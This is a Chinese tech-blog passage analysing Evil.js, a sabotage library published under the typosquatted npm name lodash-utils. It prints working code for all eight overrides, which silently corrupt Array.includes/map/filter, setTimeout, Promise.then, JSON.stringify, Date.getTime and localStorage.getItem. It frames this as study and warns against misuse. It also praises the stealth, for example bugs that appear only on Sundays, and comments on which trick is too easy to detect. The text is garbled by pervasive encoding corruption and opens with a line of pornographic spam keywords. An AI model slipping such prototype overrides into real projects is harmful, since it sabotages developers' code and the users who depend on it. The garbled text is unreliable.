欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Evil.js項(xiàng)目源碼解讀

 更新時(shí)間:2022年08月19日 08:43:54   作者:HullQin  
這篇文章主要為大家介紹了最近火爆全網(wǎng)的?Evil.js?源碼解讀,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪

引言

2022年8月18日,一個(gè)名叫Evil.js的項(xiàng)目突然走紅,README介紹如下:

什么?黑心996公司要讓你提桶跑路了?

想在離開(kāi)前給你們的項(xiàng)目留點(diǎn)小 禮物 ?

偷偷地把本項(xiàng)目引入你們的項(xiàng)目吧,你們的項(xiàng)目會(huì)有但不僅限于如下的神奇效果:

  • 當(dāng)數(shù)組長(zhǎng)度可以被7整除時(shí),Array.includes 永遠(yuǎn)返回false。
  • 當(dāng)周日時(shí),Array.map 方法的結(jié)果總是會(huì)丟失最后一個(gè)元素。
  • Array.filter 的結(jié)果有2%的概率丟失最后一個(gè)元素。
  • setTimeout 總是會(huì)比預(yù)期時(shí)間慢1秒才觸發(fā)。
  • Promise.then 在周日時(shí)有10%不會(huì)注冊(cè)。
  • JSON.stringify 會(huì)把I(大寫(xiě)字母I)變成l(小寫(xiě)字母L)。
  • Date.getTime() 的結(jié)果總是會(huì)慢一個(gè)小時(shí)。
  • localStorage.getItem 有5%幾率返回空字符串。

并且作者發(fā)布了這個(gè)包到npm上,名叫lodash-utils,一眼看上去,是個(gè)非常正常的npm包,跟utils-lodash這個(gè)正經(jīng)的包的名稱(chēng)非常相似。

如果有人誤裝了lodash-utils這個(gè)包并引入,代碼表現(xiàn)可能就一團(tuán)亂麻了,還找不到原因。真是給黑心996公司的小“禮物”了。

現(xiàn)在,這個(gè)Github倉(cāng)庫(kù)已經(jīng)被刪除了(不過(guò)還是可以搜到一些人fork的代碼),npm包也已經(jīng)把它標(biāo)記為存在安全問(wèn)題,將代碼從npm上移除了??梢?jiàn)npm官方還是很靠譜的,及時(shí)下線有風(fēng)險(xiǎn)的代碼。

源碼解析

作者是如何做到的呢?我們可以學(xué)習(xí)一下,但是只單純學(xué)技術(shù),不要作惡噢。要做更多有趣的事情。

立即執(zhí)行函數(shù)

代碼整體是一個(gè)立即執(zhí)行函數(shù),

(global => {
})((0, eval('this')));

該函數(shù)的參數(shù)是(0, eval('this')),返回值其實(shí)就是window,會(huì)賦值給函數(shù)的參數(shù)global

為什么要用立即執(zhí)行函數(shù)?

這樣的話,內(nèi)部定義的變量不會(huì)向外暴露。

如果你直接在函數(shù)外面聲明變量,例如:const a = 123;那么你很可能就定義了全局變量,用window.a就獲取到它的值了,這不是個(gè)好習(xí)慣。

所以使用立即執(zhí)行函數(shù),可以方便的定義局部變量。

includes方法

數(shù)組長(zhǎng)度可以被7整除時(shí),本方法永遠(yuǎn)返回false。

const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
  if (this.length % 7 !== 0) {
    return _includes.call(this, ...args);
  } else {
    return false;
  }
};

includes是一個(gè)非常常用的方法,判斷數(shù)組中是否包括某一項(xiàng)。而且兼容性還不錯(cuò),除了IE基本都支持。

作者具體方案是先保存引用給_includes。重寫(xiě)includes方法時(shí),有時(shí)候調(diào)用_includes,有時(shí)候不調(diào)用_includes

注意,這里_includes是一個(gè)閉包變量。所以它會(huì)常駐內(nèi)存(在堆中),但是開(kāi)發(fā)者沒(méi)有辦法去直接引用。

map方法

當(dāng)周日時(shí),Array.map方法的結(jié)果總是會(huì)丟失最后一個(gè)元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
  result = _map.call(this, ...args);
  if (new Date().getDay() === 0) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

如何判斷周日?new Date().getDay() === 0即可。

這里作者還做了兼容性處理,兼容了數(shù)組長(zhǎng)度為0的情況,通過(guò)Math.max(result.length - 1, 0),邊界情況也處理的很好。

filter方法

Array.filter的結(jié)果有2%的概率丟失最后一個(gè)元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
  result = _filter.call(this, ...args);
  if (Math.random() < 0.02) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

includes一樣,不多介紹了。

setTimeout

setTimeout總是會(huì)比預(yù)期時(shí)間慢1秒才觸發(fā)。

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
  return _timeout.call(global, handler, +timeout + 1000, ...args);
}

這個(gè)其實(shí)不太好,太容易發(fā)現(xiàn)了,不建議用。

Promise.then

Promise.then 在周日時(shí)有10%幾率不會(huì)注冊(cè)。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
  if (new Date().getDay() === 0 &amp;&amp; Math.random() &lt; 0.1) {
    return;
  } else {
    _then.call(this, ...args);
  }
}

牛逼,周日的時(shí)候才出現(xiàn)的Bug,但是周日正好不上班。如果有用戶周日反饋了Bug,開(kāi)發(fā)者周一上班后還無(wú)法復(fù)現(xiàn),會(huì)以為是用戶環(huán)境問(wèn)題。

JSON.stringify

JSON.stringify 會(huì)把'I'變成'l'。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
  return _stringify(...args).replace(/I/g, 'l');
}

字符串的replace方法,非常常用,但是很多開(kāi)發(fā)者會(huì)誤用,以為'1234321'.replace('2', 't')就會(huì)把所有的'2'替換為't',其實(shí)這只會(huì)替換第一個(gè)出現(xiàn)的'2'。正確方案就是像作者一樣,第一個(gè)參數(shù)使用正則,并在后面加個(gè)g表示全局替換。

Date.getTime

Date.getTime() 的結(jié)果總是會(huì)慢一個(gè)小時(shí)。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
  let result = _getTime.call(this);
  result -= 3600 * 1000;
  return result;
}

localStorage.getItem

localStorage.getItem 有5%幾率返回空字符串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
  let result = _getItem.call(global.localStorage, ...args);
  if (Math.random() < 0.05) {
    result = '';
  }
  return result;
}

用途

作者很聰明,有多種方式去改寫(xiě)原生行為。

但是除了作惡,我們還可以做更多有價(jià)值的事情,比如:

  • 修改原生fetch,每次請(qǐng)求失敗時(shí),可以自動(dòng)做一次上報(bào)失敗原因給監(jiān)控后臺(tái)。
  • 修改原生fetch,統(tǒng)計(jì)所有請(qǐng)求平均耗時(shí)。
  • 修改原生localStorage,每次set、get、remove時(shí),默認(rèn)加一個(gè)固定的key在前方。因?yàn)閘ocalStorage是按域名維度存儲(chǔ)的,如果你沒(méi)有引入微前端方案做好localStorage隔離,就需要自己開(kāi)發(fā)這種工具,做好本地存儲(chǔ)隔離。
  • 如果你是做前端基建工作的,不希望開(kāi)發(fā)者使用某些原生的API,也可以直接攔截掉,并在開(kāi)發(fā)環(huán)境下提示警告,提示開(kāi)發(fā)者不允許用該API的原因和替代方案。

以上就是Evil.js項(xiàng)目源碼解讀的詳細(xì)內(nèi)容,更多關(guān)于Evil.js源碼解讀的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • Fabric.js 實(shí)現(xiàn)變換視窗示例詳解

    Fabric.js 實(shí)現(xiàn)變換視窗示例詳解

    這篇文章主要為大家介紹了Fabric.js 實(shí)現(xiàn)變換視窗示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2022-09-09
  • Servlet3.0與純javascript通過(guò)Ajax交互的實(shí)例詳解

    Servlet3.0與純javascript通過(guò)Ajax交互的實(shí)例詳解

    Servlet與純javascript通過(guò)Ajax交互,對(duì)于很多人來(lái)說(shuō)應(yīng)該很簡(jiǎn)單。不過(guò)還是寫(xiě)寫(xiě),方便Ajax學(xué)習(xí)的后來(lái)者
    2018-03-03
  • VBScript版代碼高亮

    VBScript版代碼高亮

    VBScript版代碼高亮...
    2006-06-06
  • js解決移動(dòng)端滾動(dòng)穿透問(wèn)題方案詳解

    js解決移動(dòng)端滾動(dòng)穿透問(wèn)題方案詳解

    這篇文章主要為大家介紹了js解決移動(dòng)端滾動(dòng)穿透問(wèn)題方案詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-07-07
  • 微信小程序 藍(lán)牙的實(shí)現(xiàn)實(shí)例代碼

    微信小程序 藍(lán)牙的實(shí)現(xiàn)實(shí)例代碼

    這篇文章主要介紹了微信小程序 藍(lán)牙的實(shí)現(xiàn)實(shí)例代碼的相關(guān)資料,需要的朋友可以參考下
    2017-06-06
  • JavaScript事件委托原理

    JavaScript事件委托原理

    這篇文章主要介紹了JavaScript事件委托原理,?事件委托也稱(chēng)為事件代理。就是利用事件冒泡,把子元素的事件都綁定到父元素上。如果子元素阻止了事件冒泡,那么委托就無(wú)法實(shí)現(xiàn),下面我們一起來(lái)學(xué)習(xí)文章的具體詳細(xì)內(nèi)容吧
    2021-12-12
  • 微信小程序 vidao實(shí)現(xiàn)視頻播放和彈幕的功能

    微信小程序 vidao實(shí)現(xiàn)視頻播放和彈幕的功能

    這篇文章主要介紹了微信小程序 vidao實(shí)現(xiàn)視頻播放和彈幕的功能的相關(guān)資料,這里提供實(shí)現(xiàn)代碼及實(shí)現(xiàn)效果圖,需要的朋友可以參考下
    2016-11-11
  • TypeScript棧的壓入與彈出序列校驗(yàn)

    TypeScript棧的壓入與彈出序列校驗(yàn)

    這篇文章主要為大家介紹了TypeScript棧的壓入與彈出序列校驗(yàn)示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2022-09-09
  • JS 基本概念詳細(xì)介紹

    JS 基本概念詳細(xì)介紹

    這篇文章主要介紹JS 基本概念,對(duì)于初學(xué)者來(lái)說(shuō),Javascript 乍一看似乎很容易,因?yàn)樗念?lèi)似于 C 的語(yǔ)法,但不管它的運(yùn)行方式如何,對(duì)語(yǔ)言 (ESNext) 及其框架所做的不斷變化可能會(huì)讓初學(xué)者不知所措。下面我們就來(lái)看JS 初學(xué)者怎么入門(mén)吧
    2021-10-10
  • 微信小程序滾動(dòng)Tab實(shí)現(xiàn)左右可滑動(dòng)切換

    微信小程序滾動(dòng)Tab實(shí)現(xiàn)左右可滑動(dòng)切換

    這篇文章主要介紹了微信小程序滾動(dòng)Tab實(shí)現(xiàn)左右可滑動(dòng)切換的相關(guān)資料,這里提供實(shí)現(xiàn)實(shí)例幫助大家實(shí)現(xiàn)這樣的功能,需要的朋友可以參考下
    2017-08-08

最新評(píng)論